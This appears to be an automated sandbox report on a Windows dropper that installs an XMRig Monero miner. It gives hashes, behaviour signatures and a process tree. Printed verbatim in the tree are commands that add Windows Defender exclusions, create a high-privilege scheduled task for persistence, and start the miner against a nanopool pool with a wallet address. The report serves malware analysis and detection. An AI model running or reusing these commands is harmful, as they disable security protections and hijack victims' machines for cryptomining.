Analysis
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max time kernel
94s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
18/12/2022, 07:49
Static task
static1
Behavioral task
behavioral1
Sample
2637eb34ee0e5131f80452b12bbdddba.exe
Resource
win7-20220901-en
General
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Target
2637eb34ee0e5131f80452b12bbdddba.exe
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Size
2.0MB
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MD5
2637eb34ee0e5131f80452b12bbdddba
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SHA1
39305d513cffc1bf6b8a20cdd912532ade05a7ed
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SHA256
9e6f702e49e2effdc3470632184a8ceb8bcd1eb60b85293114ce61fef8f8b4c7
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SHA512
0b58c9bf00dafb5b3474da0cf7c8bac45ed8f3ebefbea161c468b87c37d43a904144f56a9c771c519258c17fc7ee8faea129fd3cb7dc8113fa87c113d425ee4b
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SSDEEP
49152:cpFtPeFTefWNTt0dYMuZDGmA9MUy41+hrDy:cpWeulpZa/l1m2
Malware Config
Signatures
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XMRig Miner payload 6 IoCs
resource yara_rule behavioral2/memory/3368-190-0x0000000140343234-mapping.dmp xmrig behavioral2/memory/3368-189-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3368-191-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3368-192-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3368-194-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral2/memory/3368-199-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 1808 GAPOSUR.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation GAPOSUR.exe -
Uses the VBS compiler for execution 1 TTPs
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1808 set thread context of 3368 1808 GAPOSUR.exe 98 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3420 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2500 timeout.exe -
Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 4424 2637eb34ee0e5131f80452b12bbdddba.exe 4424 2637eb34ee0e5131f80452b12bbdddba.exe 1112 powershell.exe 1028 powershell.exe 1028 powershell.exe 1112 powershell.exe 1808 GAPOSUR.exe 1808 GAPOSUR.exe 2272 powershell.exe 3724 powershell.exe 3724 powershell.exe 2272 powershell.exe 1808 GAPOSUR.exe 1808 GAPOSUR.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 656 Process not Found -
Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 4424 2637eb34ee0e5131f80452b12bbdddba.exe Token: SeDebugPrivilege 1112 powershell.exe Token: SeDebugPrivilege 1028 powershell.exe Token: SeDebugPrivilege 1808 GAPOSUR.exe Token: SeDebugPrivilege 2272 powershell.exe Token: SeDebugPrivilege 3724 powershell.exe Token: SeLockMemoryPrivilege 3368 vbc.exe Token: SeLockMemoryPrivilege 3368 vbc.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3368 vbc.exe -
Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 4424 wrote to memory of 1028 4424 2637eb34ee0e5131f80452b12bbdddba.exe 79 PID 4424 wrote to memory of 1028 4424 2637eb34ee0e5131f80452b12bbdddba.exe 79 PID 4424 wrote to memory of 1112 4424 2637eb34ee0e5131f80452b12bbdddba.exe 80 PID 4424 wrote to memory of 1112 4424 2637eb34ee0e5131f80452b12bbdddba.exe 80 PID 4424 wrote to memory of 668 4424 2637eb34ee0e5131f80452b12bbdddba.exe 83 PID 4424 wrote to memory of 668 4424 2637eb34ee0e5131f80452b12bbdddba.exe 83 PID 668 wrote to memory of 2500 668 cmd.exe 85 PID 668 wrote to memory of 2500 668 cmd.exe 85 PID 668 wrote to memory of 1808 668 cmd.exe 86 PID 668 wrote to memory of 1808 668 cmd.exe 86 PID 1808 wrote to memory of 2272 1808 GAPOSUR.exe 87 PID 1808 wrote to memory of 2272 1808 GAPOSUR.exe 87 PID 1808 wrote to memory of 3724 1808 GAPOSUR.exe 89 PID 1808 wrote to memory of 3724 1808 GAPOSUR.exe 89 PID 1808 wrote to memory of 1988 1808 GAPOSUR.exe 92 PID 1808 wrote to memory of 1988 1808 GAPOSUR.exe 92 PID 1988 wrote to memory of 3420 1988 cmd.exe 94 PID 1988 wrote to memory of 3420 1988 cmd.exe 94 PID 1808 wrote to memory of 3368 1808 GAPOSUR.exe 98 PID 1808 wrote to memory of 3368 1808 GAPOSUR.exe 98 PID 1808 wrote to memory of 3368 1808 GAPOSUR.exe 98 PID 1808 wrote to memory of 3368 1808 GAPOSUR.exe 98 PID 1808 wrote to memory of 3368 1808 GAPOSUR.exe 98 PID 1808 wrote to memory of 3368 1808 GAPOSUR.exe 98 PID 1808 wrote to memory of 3368 1808 GAPOSUR.exe 98 PID 1808 wrote to memory of 3368 1808 GAPOSUR.exe 98 PID 1808 wrote to memory of 3368 1808 GAPOSUR.exe 98 PID 1808 wrote to memory of 3368 1808 GAPOSUR.exe 98 PID 1808 wrote to memory of 3368 1808 GAPOSUR.exe 98 PID 1808 wrote to memory of 3368 1808 GAPOSUR.exe 98 PID 1808 wrote to memory of 3368 1808 GAPOSUR.exe 98 PID 1808 wrote to memory of 3368 1808 GAPOSUR.exe 98
Processes
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C:\Users\Admin\AppData\Local\Temp\2637eb34ee0e5131f80452b12bbdddba.exe"C:\Users\Admin\AppData\Local\Temp\2637eb34ee0e5131f80452b12bbdddba.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1028
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1112
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp5B63.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
PID:668 -
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
PID:2500
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C:\ProgramData\cloud\GAPOSUR.exe"C:\ProgramData\cloud\GAPOSUR.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1808 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2272
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3724
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "GAPOSUR" /tr "C:\ProgramData\cloud\GAPOSUR.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "GAPOSUR" /tr "C:\ProgramData\cloud\GAPOSUR.exe"5⤵
- Creates scheduled task(s)
PID:3420
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3368
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2.0MB
MD52637eb34ee0e5131f80452b12bbdddba
SHA139305d513cffc1bf6b8a20cdd912532ade05a7ed
SHA2569e6f702e49e2effdc3470632184a8ceb8bcd1eb60b85293114ce61fef8f8b4c7
SHA5120b58c9bf00dafb5b3474da0cf7c8bac45ed8f3ebefbea161c468b87c37d43a904144f56a9c771c519258c17fc7ee8faea129fd3cb7dc8113fa87c113d425ee4b
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Filesize
2.0MB
MD52637eb34ee0e5131f80452b12bbdddba
SHA139305d513cffc1bf6b8a20cdd912532ade05a7ed
SHA2569e6f702e49e2effdc3470632184a8ceb8bcd1eb60b85293114ce61fef8f8b4c7
SHA5120b58c9bf00dafb5b3474da0cf7c8bac45ed8f3ebefbea161c468b87c37d43a904144f56a9c771c519258c17fc7ee8faea129fd3cb7dc8113fa87c113d425ee4b
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
944B
MD5f41f42c322498af0591f396c59dd4304
SHA1e1e5aa68d73d48bc5e743a34f6c0fa8960ff7514
SHA256d8bd9a4a363ff2ac2dc887759ec6ba4215a4ce0925a8fb9c531573458ee4a31c
SHA5122328a1b402b4fb0de9c451fb630eab58549129d3bcfb70b9834cfbd16065ebaadec006b309ea17ac182d34c53e01705cbc9e0196eb0cbd62600c866e79a1844f
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Filesize
141B
MD5238cc86d424eddae03e0215fc294dad3
SHA1a0caa068fc4d565feab3c9d9bae7fb0a69f81ca3
SHA2568196a268e7c41fa4d8e14670e3b81b33357d1746631e7faa11b1ab7c1b7a5d80
SHA51247c94bc0cf9d6ae4ee956c986dbcc3347cc5521400c1f9614be39c26871f61e21d0240a3e989ef6e3f8107ff40e284884a53938f922628670ca514587045b8d3